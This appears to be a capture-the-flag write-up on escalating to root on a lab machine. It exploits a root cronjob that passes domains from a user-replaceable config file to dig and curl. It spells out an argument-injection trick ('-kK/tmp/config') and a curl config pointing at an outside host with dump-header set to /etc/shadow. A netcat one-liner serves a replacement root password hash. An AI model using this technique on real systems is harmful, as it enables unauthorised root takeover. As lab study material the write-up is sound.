we get access to a brand new machine we find that cron is the only other thing running beside dropbear for ssh crontab reads configuration from /etc/cron.d/*, /etc/crontab and /var/spool/cron/ checkout /etc crontab entries.. nothing special, cant read /var/spool/cron search filesystem for config/domains.txt -> find /opt/scripts/request_certificates.sh see that domains.txt is owned by root, but config folder is owned by us.. we can move the config folder and replace the file at that path with our own place a domain that belongs to us in the file and wait... we get a HEAD request after ~1 min => the script is run every minute by an admin cronjob #!/bin/bash for file in /var/www/*; do echo "$file" if ([ -f $file/config/domains.txt ]) then while IFS="" read -r p || [ -n "$p" ] do if ( dig "$p" | grep -q 'NXDOMAIN' ) || ( dig "$p" 2>&1 | grep -q 'Invalid' ) || ( dig "$p" | grep -q 'SERVFAIL' ) then echo "[-] Error resolving the domain" else curl -I "$p" # certbot -d "$p" fi done < $file/config/domains.txt else echo "[-] Not a file" fi done there is a pre-check with dig we need to bypass, then we can inject commandline arguments to curl.. one such arguments is -Kconfig to let curl read further options from a config file Next we need to prevent dig from calling the input arg NXDOMAIN, an invalid flag or the server unreachable To do this we masquerade our curl options as an invalidly formatted dig option.. For this we prefix an option both utilities share.. -k! (keyfile for dig, insecure for curl) Our final argument is then -kK/tmp/config We can now inject arbitrary commandline arguments to the curl command running as root by writing to /tmp/config. The -I option is a pain, because we cant output data directly to a file, since -I makes curl omit the response body. Looking around we find the dump-header option though.. this writes the headers to a file. It isnt perfect, since the HTTP response status line will be included but its good enough. Certain files like /etc/passwd, /etc/gorup, /etc/shadow are inherently robust, since a single error could cause a system lockout.. We can use this to exchange the root password hash in /etc/shadow for one that we know and use `su` to gain root privileges and read the flag. For that we use the following config url = "http://sinitax.com:9999" dump-header = "/etc/shadow" and on server side: echo -e 'HTTP/1.1 200 OK\nroot:$y$j9T$WzLnIqCeKGPsZ99A/M6zG1$Z7ZqQY70qOzUdJKZ2ovpASps/NytHnPoeCVagQKvLO.:19796:0:99999:7:::\n' | nc -l 9999 This sets the root pasword to `test`. And voila